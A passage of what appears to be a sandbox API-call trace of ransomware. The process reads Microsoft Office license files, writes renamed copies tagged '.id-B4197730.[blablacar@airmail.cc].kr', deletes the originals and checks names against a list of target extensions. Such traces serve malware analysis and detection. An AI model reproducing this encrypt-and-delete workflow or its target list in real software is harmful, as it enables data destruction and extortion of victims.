hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10619) returned 1 [0201.540] CloseHandle (hObject=0x560) returned 1 [0201.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 0x220 [0201.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.540] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.541] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.541] GetLastError () returned 0x0 [0201.541] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x297b, lpOverlapped=0x0) returned 1 [0201.543] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2980, lpOverlapped=0x0) returned 1 [0201.544] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.544] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xfe, lpOverlapped=0x0) returned 1 [0201.545] SetEndOfFile (hFile=0x3f8) returned 1 [0201.545] CloseHandle (hObject=0x3f8) returned 1 [0201.545] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.545] SetEndOfFile (hFile=0x560) returned 1 [0201.547] CloseHandle (hObject=0x560) returned 1 [0201.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 1 [0201.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.549] lstrlenW (lpString=".doc") returned 4 [0201.549] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString=".docx") returned 5 [0201.549] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.549] lstrlenW (lpString=".pdf") returned 4 [0201.549] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString=".xls") returned 4 [0201.549] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString=".xlsx") returned 5 [0201.549] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.549] lstrlenW (lpString=".ppt") returned 4 [0201.549] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.549] lstrlenW (lpString=".zip") returned 4 [0201.549] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString=".rar") returned 4 [0201.549] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString=".bz2") returned 4 [0201.549] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString=".7z") returned 3 [0201.549] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.549] lstrlenW (lpString=".dbf") returned 4 [0201.549] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.549] lstrlenW (lpString=".1cd") returned 4 [0201.549] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.549] lstrlenW (lpString=".jpg") returned 4 [0201.549] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.550] lstrlenW (lpString=".doc") returned 4 [0201.550] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString=".docx") returned 5 [0201.550] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.550] lstrlenW (lpString=".pdf") returned 4 [0201.550] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString=".xls") returned 4 [0201.550] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString=".xlsx") returned 5 [0201.550] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.550] lstrlenW (lpString=".ppt") returned 4 [0201.550] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.550] lstrlenW (lpString=".zip") returned 4 [0201.550] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString=".rar") returned 4 [0201.550] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString=".bz2") returned 4 [0201.550] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString=".7z") returned 3 [0201.550] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.550] lstrlenW (lpString=".dbf") returned 4 [0201.550] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.550] lstrlenW (lpString=".1cd") returned 4 [0201.550] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0201.550] lstrlenW (lpString=".jpg") returned 4 [0201.550] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.551] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.551] lstrlenW (lpString="MondoVL_MAK-ppd.xrm-ms") returned 22 [0201.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.551] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12414) returned 1 [0201.551] CloseHandle (hObject=0x560) returned 1 [0201.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 0x220 [0201.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.552] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.552] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.553] GetLastError () returned 0x0 [0201.553] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x307e, lpOverlapped=0x0) returned 1 [0201.651] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x3080, lpOverlapped=0x0) returned 1 [0201.653] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.653] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x100, lpOverlapped=0x0) returned 1 [0201.653] SetEndOfFile (hFile=0x3f8) returned 1 [0201.653] CloseHandle (hObject=0x3f8) returned 1 [0201.653] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.653] SetEndOfFile (hFile=0x560) returned 1 [0201.657] CloseHandle (hObject=0x560) returned 1 [0201.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 1 [0201.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.759] lstrlenW (lpString=".doc") returned 4 [0201.759] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.759] lstrlenW (lpString=".docx") returned 5 [0201.759] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.759] lstrlenW (lpString=".pdf") returned 4 [0201.759] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.759] lstrlenW (lpString=".xls") returned 4 [0201.759] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.759] lstrlenW (lpString=".xlsx") returned 5 [0201.759] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.760] lstrlenW (lpString=".ppt") returned 4 [0201.760] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.760] lstrlenW (lpString=".zip") returned 4 [0201.760] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.760] lstrlenW (lpString=".rar") returned 4 [0201.760] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.760] lstrlenW (lpString=".bz2") returned 4 [0201.760] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.760] lstrlenW (lpString=".7z") returned 3 [0201.760] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.760] lstrlenW (lpString=".dbf") returned 4 [0201.760] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.760] lstrlenW (lpString=".1cd") returned 4 [0201.760] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.760] lstrlenW (lpString=".jpg") returned 4 [0201.760] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.760] lstrlenW (lpString=".doc") returned 4 [0201.760] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.760] lstrlenW (lpString=".docx") returned 5 [0201.761] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.761] lstrlenW (lpString=".pdf") returned 4 [0201.761] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.761] lstrlenW (lpString=".xls") returned 4 [0201.761] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.761] lstrlenW (lpString=".xlsx") returned 5 [0201.761] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.761] lstrlenW (lpString=".ppt") returned 4 [0201.761] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.761] lstrlenW (lpString=".zip") returned 4 [0201.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.761] lstrlenW (lpString=".rar") returned 4 [0201.761] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.761] lstrlenW (lpString=".bz2") returned 4 [0201.761] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.761] lstrlenW (lpString=".7z") returned 3 [0201.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.761] lstrlenW (lpString=".dbf") returned 4 [0201.761] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.761] lstrlenW (lpString=".1cd") returned 4 [0201.761] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0201.761] lstrlenW (lpString=".jpg") returned 4 [0201.761] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.762] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.762] lstrlenW (lpString="O365BusinessR_Subscription-pl.xrm-ms") returned 36 [0201.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.763] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11195) returned 1 [0201.763] CloseHandle (hObject=0x560) returned 1 [0201.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 0x220 [0201.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.764] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.764] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.765] GetLastError () returned 0x0 [0201.765] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0201.768] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0201.770] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.770] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0201.771] SetEndOfFile (hFile=0x3f8) returned 1 [0201.771] CloseHandle (hObject=0x3f8) returned 1 [0201.771] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.771] SetEndOfFile (hFile=0x560) returned 1 [0201.774] CloseHandle (hObject=0x560) returned 1 [0201.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 1 [0201.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.776] lstrlenW (lpString=".doc") returned 4 [0201.776] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.776] lstrlenW (lpString=".docx") returned 5 [0201.776] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.776] lstrlenW (lpString=".pdf") returned 4 [0201.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.776] lstrlenW (lpString=".xls") returned 4 [0201.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.776] lstrlenW (lpString=".xlsx") returned 5 [0201.776] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.776] lstrlenW (lpString=".ppt") returned 4 [0201.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.776] lstrlenW (lpString=".zip") returned 4 [0201.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString=".rar") returned 4 [0201.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString=".bz2") returned 4 [0201.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString=".7z") returned 3 [0201.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.777] lstrlenW (lpString=".dbf") returned 4 [0201.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.777] lstrlenW (lpString=".1cd") returned 4 [0201.777] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.777] lstrlenW (lpString=".jpg") returned 4 [0201.777] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.777] lstrlenW (lpString=".doc") returned 4 [0201.777] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString=".docx") returned 5 [0201.777] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.777] lstrlenW (lpString=".pdf") returned 4 [0201.777] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString=".xls") returned 4 [0201.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.777] lstrlenW (lpString=".xlsx") returned 5 [0201.778] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.778] lstrlenW (lpString=".ppt") returned 4 [0201.778] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.778] lstrlenW (lpString=".zip") returned 4 [0201.778] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.778] lstrlenW (lpString=".rar") returned 4 [0201.778] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.778] lstrlenW (lpString=".bz2") returned 4 [0201.778] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.778] lstrlenW (lpString=".7z") returned 3 [0201.778] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.778] lstrlenW (lpString=".dbf") returned 4 [0201.778] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.778] lstrlenW (lpString=".1cd") returned 4 [0201.778] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0201.778] lstrlenW (lpString=".jpg") returned 4 [0201.778] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.778] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.779] lstrlenW (lpString="O365BusinessR_Subscription-ppd.xrm-ms") returned 37 [0201.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 